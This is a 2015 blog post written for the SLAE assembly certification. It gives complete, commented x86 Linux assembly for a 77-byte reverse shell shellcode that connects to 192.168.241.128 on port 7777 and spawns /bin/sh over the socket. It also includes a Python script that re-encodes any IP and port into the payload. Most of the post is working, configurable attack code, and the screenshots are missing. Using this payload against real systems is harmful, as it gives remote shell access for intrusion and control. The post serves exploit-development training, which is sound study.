Sunday 9 August 2015

SLAE Assignment #2: Reverse Shell TCP Shellcode


For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the second exercise requested about writing a reverse shell tcp shellcode. Code can be found at my GitHub SLAE repository.


2. REVERSE SHELL TCP SHELLCODE
___________________________________________________
The reverse TCP payload is a very common choosen payload when working with exploits, as it bypasses inbound filtering on the target. It is also smaller than the bind shell version, and can therefore fit into a smaller space inside the vulnerable process.

All comments are on the code. Better view of this file on GitHub:
https://github.com/gkweb76/SLAE/blob/master/assignment2/linux_reverse_shell.asm

; Title: Linux x86 Reverse Shell TCP shellcode (77 bytes)
; Author: Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:
 
 ; Socket creation and handling with socketcall()
 ; socketcall(int call, unsigned long *args)

 ; 1 - creating socket
 ; int socket(int domain, int type, int protocol)
 ; socketfd = socket(2, 1, 0)

 ; eax = 0x66 = socketcall()
 ; ebx = 0x1 = socket()
 ; ecx = ptr to socket's args

 xor ebx, ebx                    ; zero out ebx
 mul ebx                         ; implicit operand eax: zero out eax
 mov al, 0x66                    ; 0x66 = 102 = socketcall()
 push ebx                        ; 3rd arg: socket protocol = 0
 mov bl, 0x1                     ; ebx = 1 = socket() function
 push byte 0x1                   ; 2nd arg: socket type = 1 (SOCK_STREAM)
 push byte 0x2                   ; 1st arg: socket domain = 2 (AF_INET)
 mov ecx, esp                    ; copy stack structure's address to ecx (pointer)
 int 0x80                        ; eax = socket(AF_INET, SOCK_STREAM, 0)

 
 ; 2 - dup2
 ; int dup2(int oldfd, int newfd)
 ; duplicate our socketfd into fd from 2 to 0  (stdin = 0, stdout = 1, stderror = 2)
 ; stdin/stdout/stderror become the TCP connection

 ; eax = 0x3f = dup2()
 ; ebx = socketfd
 ; ecx = fd (from 2 to 0)

 xchg eax, ebx   ; ebx = socketfd, eax = 1
 pop ecx    ; ecx = 2 (loop count)

 dup_jump:
 mov al, 0x3f   ; eax = 63 = dup2()
 int 0x80   ; dup2(socketfd, ecx)
 dec ecx    ; decrement ecx from stderror to stdin
 jns dup_jump   ; loop until ZF is set

  
 ; 3 - connect
 ; int connect(int sockfd, const struct sockaddr *addr[sin_family, sin_port, sin_addr], socklen_t addrlen)
 ; eax = connect(socketfd, [2, port, IP], 16)
 ; returns 0 on success

 ; eax = 0x66 = socketcall()
 ; ebx = 0x3 = connect()
 ; ecx = ptr to bind's args

 mov al, 0x66                    ; 0x66 = 102 = socketcall()

 push dword 0x80f1a8c0           ; 192.168.241.128 Remote IP address
 push word 0x611e                ; Remote port
 push word 0x0002                ; sin_family = 2 (AF_INET)
 mov ecx, esp   ; ecx = ptr to *addr structure

 push byte 16   ; addr_len = 16 (structure size)
 push ecx   ; push ptr of args structure
 push ebx   ; ebx = socketfd

 mov bl, 0x3                     ; ebx = 3 = connect()
 mov ecx, esp                    ; save esp into ecx, points to socketfd
 int 0x80                       ; eax = connect(socketfd, *addr[2, 7777, IP], 16) = 0 (on success)



 
 ; 4 - execve /bin/sh
 ; execve(const char *filename, char *const argv[filename], char *const envp[])
 ; execve(/bin//sh, &/bin//sh, 0)

 ; eax = 0xb = execve()
 ; ebx = *filename
 ; ecx = *argv
 ; edx = *envp

 xor eax, eax
 push edx   ; edx = 0x00000000
 push dword 0x68732f2f  ; push //sh
 push dword 0x6e69622f           ; push /bin (=/bin//sh)
 mov ebx, esp   ; ebx =  ptr to /bin//sh into ebx
 push edx   ; edx = 0x00000000
 mov edx, esp   ; edx = ptr to NULL address
 push ebx   ; pointer to /bin//sh. Stack = 0X00, /bin//sh, 0X00000000, &/bin//sh
 mov ecx, esp                    ; ecx points to argv
 mov al, 0xb
 int 0x80                        ; execve /bin/sh
The shellcode creates a socket, duplicates file descriptors, mainly 0/1/2 which are stdin/stdout/stderror so these ones becomes the TCP connection itself, and every input/output will go trough the connection. It then connects back to the IP and port specified in the shellcode, and upon a successful connection, will use execve() to launch a shell.

Once the asm file is created, I am using "asm2shellcode.sh" to build the final compiled C file:



C file created, and edited manually to better format the shellcode:



Now we can run the compiled file and check if it works. First open a netcat listening port :



Then launch the Shellcode:







We can see that the shellcode executes, and is connecting to remote IP 192.168.241.128 port 7777, as shown by the netstat command. In this example, local and remote IP are identical because we are "exploiting" ourself to check that our shellcode works. In a more common scenario, the shellcode would execute on another computer, and would connect back to us, providing a shell. Now, to be able to modify easily the IP address to connect back as well as the port, I modified a previously used python script:
# Title: Port/IP to shellcode converter
# File: port_converter.py
# Author: Guillaume Kaddouch
# SLAE-681

#!/usr/bin/python

import socket, sys

port = int(sys.argv[2])
address = str(sys.argv[1]).split('.')

ip = ""
for byte in address:
    ip += "\\x" + str(hex(int(byte)))[2:]


network_order = socket.htons(port)
hex_converted = hex(network_order)

hex1 = hex_converted[2:4]
hex2 = hex_converted[4:6]

if hex1 == "":
    hex1 = "00"

if len(hex1) == 1:
    hex1 = "0" + hex1

if hex2 == "":
    hex2 = "00"

if len(hex2) == 1:
    hex2 = "0" + hex2

print "address = %s -> %s" % (str(sys.argv[1]), ip)
print "port = %s -> \\x%s\\x%s" % (str(port), hex2, hex1)
Then we can choose the IP address and port we need, to get the shellcode translation for them:



Then we can modify the shellcode inside the C file. I have marked the two lines to modify if needed to change IP address and port:



We have a working reverse tcp shellcode with configurable IP addresses and local port.



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-681


No comments:

Post a Comment